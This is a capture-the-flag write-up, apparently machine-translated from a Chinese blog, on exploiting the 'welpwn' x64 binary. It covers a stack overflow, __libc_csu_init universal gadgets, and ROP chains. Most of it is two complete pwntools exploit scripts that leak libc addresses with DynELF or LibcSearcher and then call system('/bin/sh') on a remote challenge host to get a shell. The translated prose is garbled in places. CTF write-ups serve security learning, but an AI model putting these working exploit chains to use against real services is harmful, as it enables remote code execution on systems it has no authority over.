Delve into 64 rop chain structure, wp common universal gadgets Comments | Advanced offensive zone welpwn world pwn

Foreword

This problem a long time span to do, and do more than a day off, then tried two ways, one is DynELF address system leak, there is the use of python module LibcSearcher get libc offset the further acquisition system libc address.

Ideas analysis

0x00. Check the protection mechanisms

Here Insert Picture Description
Feeling stack overflow and then construct ROP to getshell.

0x01. Spillpoint found

Here Insert Picture Description
Here Insert Picture Description
read function can not overflow into the echo function to look and found echo function only open up the size of 0x20, but there is 0x400 bytes that can be written buf, buf copy to echo, apparently can overflow.
Calculated using the cyclic overflow requires 24 bytes.

0x02. Rop skip echo configured in buf

We can see inside the echo function, there is a loop determination, a1 [i]! = '\ X00', or truncation occurs. But the need to pass the address configured rop, generally have '\ x00' exists, it can not be directly configured rop.
Here Insert Picture Description
Here Insert Picture Description

ida查看echo函数的结束地址之后就是read(&buf)的地址。
又因为echo开辟的空间是0x20,故echo开始处跳0x20个字节即能到buf处。
buf上有0x400大小可以布置ROP。
一次rop是8字节,找一个gadget执行四次pop即可。

0x03. Select the appropriate gadgets

Here Insert Picture Description

pop4_addr=0x40089c

0x04. Panacea universal gadgets

The remaining ROP chain can be used to achieve universal gadgets.
X64 herein involves some of the following universal gadgets, because __libc_csu_init () function.
In general, as long as the program calls libc.so, the program will have this libc function is used to initialize the operation.

Assembly code as follows:

  400606:   48 8b 5c 24 08          mov    0x8(%rsp),%rbx
  40060b:   48 8b 6c 24 10          mov    0x10(%rsp),%rbp
  400610:   4c 8b 64 24 18          mov    0x18(%rsp),%r12
  400615:   4c 8b 6c 24 20          mov    0x20(%rsp),%r13
  40061a:   4c 8b 74 24 28          mov    0x28(%rsp),%r14
  40061f:   4c 8b 7c 24 30          mov    0x30(%rsp),%r15
  4005f0:   4c 89 fa                mov    %r15,%rdx
  4005f3:   4c 89 f6                mov    %r14,%rsi
  4005f6:   44 89 ef                mov    %r13d,%edi
  4005f9:   41 ff 14 dc             callq  *(%r12,%rbx,8)

We can see the use of code at 0x400606 we can control rbx, rbp, r12, r13, r14 and r15 value, and then use the code at the 0x4005f0 we will value r15 is assigned to rdx, r14 value assignment to rsi, r13 of value is assigned to edi, then we will call QWORD ptr call [r12 + RBX 8]. This time we just assign a value and then rbx is 0, then the data on the stack through carefully constructed, we can control pc to call the function we want to call up (for example, write function). After performing call qword ptr [r12 + rbx After 8], the program will rbx + = 1, then the comparison value rbp rbx and, if equal execution will continue down and we want to continue to the address ret performed. To make the value rbp and rbx equal, we can rbp value is set to 1, as has been previously set to 0 the value rbx. Probably thinking is the way we construct ROP down the chain.

call system("/bin/sh")

#!bash
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 =  "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)

Reference blog: steamed rice - step by step to learn the ROP x64
Example Application: 64-bit program chain structure rop

Use process

Use DynELF

# -.- coding=UTF-8 -.-
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
r = remote("111.198.29.45",48359)
elf=ELF('./welpwn')
pop4_addr = 0x40089c #跳过echo
pop6_addr = 0x40089a #pop rbx,rbp,r12,r13,r14,r15;ret;
rop2_addr = 0x400880 #mov rdx,r15;mov rdi,r14;mov edi,r13;
start_addr = 0x400630
write_got = elf.got['write']
bss_addr = elf.bss()
read_got = elf.got['read']
pop_rdi = 0x4008a3 #pop rdi;ret
def leak(address):
    r.recv()#先接收一次
    payload = "A"*24 #junk
    payload += p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(write_got)+p64(8)
    payload += p64(address)+p64(1)#通过write函数泄露 pop r14,r15;
    payload += p64(rop2_addr) #write(1,address,8)
    payload += "A"*56+p64(start_addr)#start调整栈帧
    payload = payload.ljust(1024,"B")#回到main函数
    r.send(payload)
    data = r.recv(8)
    log.info("%# x => %s " % (address,(data or '').encode('hex')))
    return data

dyn = DynELF(leak,elf=ELF('./welpwn'))
system_addr = dyn.lookup('system','libc')

#写入/bin/sh
payload1 = "A"*24
payload1 += p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(read_got)+p64(8)
payload1 += p64(bss_addr)+p64(0) #read(0,bss_addr,8)
payload1 += p64(rop2_addr) 
payload1 += "A"*56 + p64(pop_rdi) + p64(bss_addr) + p64(system_addr)+p64(0) 执行system('bss_addr')
payload1 = payload1.ljust(1024,"B")

r.send(payload1)
r.sendline("/bin/sh")#把'/bin/sh'写到bss_addr
r.interactive()

Use LibcSearcher

Use write_addr-libc.dump ( 'write') calculated libc_off address
then the libc_off + libc.dump ( 'system') is calculated system_addr

# -.-coding=UTF-8 -.-
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
r = remote("111.198.29.45",48359)
elf = ELF('./welpwn')
pop4_addr = 0x40089c
pop6_addr = 0x40089a
rop2_addr = 0x400880
start_addr = 0x400630
write_got = elf.got['write']
puts_addr = elf.plt['puts']
#bss_addr = elf.bss()
read_got = elf.got['read']
pop_rdi = 0x4008a3 #pop rdi;ret
main_addr = 0x4007CD

r.recv(1024)
#计算libc_off
payload = "A"*24 + p64(pop4_addr) + p64(pop6_addr) +p64(0)+p64(1)+p64(write_got)+p64(8)
#pop rbx,rbp,r12,r13,r14,r15
payload += p64(write_got) + p64(1)
#通过write函数来泄露write_addr
payload += p64(rop2_addr)+"A"*56 +p64(start_addr) #调用start函数调整栈帧
payload = payload.ljust(1024,"B")
r.send(payload)
write_addr = u64(r.recv(8))
log.info ("write_addr => %#x",write_addr)

from LibcSearcher import *
libc = LibcSearcher('write',write_addr)
libc_off=write_addr - libc.dump('write')#计算libc的偏移
sys_addr = libc_off + libc.dump('system')#计算system地址
binsh_addr = libc_off + libc.dump('str_bin_sh')#计算'/bin/sh'地址

payload1 ="A"*24 + p64(pop4_addr)+ p64(pop_rdi)+p64(binsh_addr)+p64(sys_addr)
payload1 += p64(start_addr)
payload1 = payload1.ljust(1024,"B")
r.recv()
r.send(payload1)
r.interactive()

Note:
Use LibcSearcher way, python to install the corresponding module, also need to download the corresponding libc version. The second method I just gave a template, do not use this method getshell.
Reference blog: Ubuntu under LibcSearcher installation and use

Published 107 original articles · won praise 68 · views 7773

Guess you like

Origin blog.csdn.net/weixin_43092232/article/details/104996618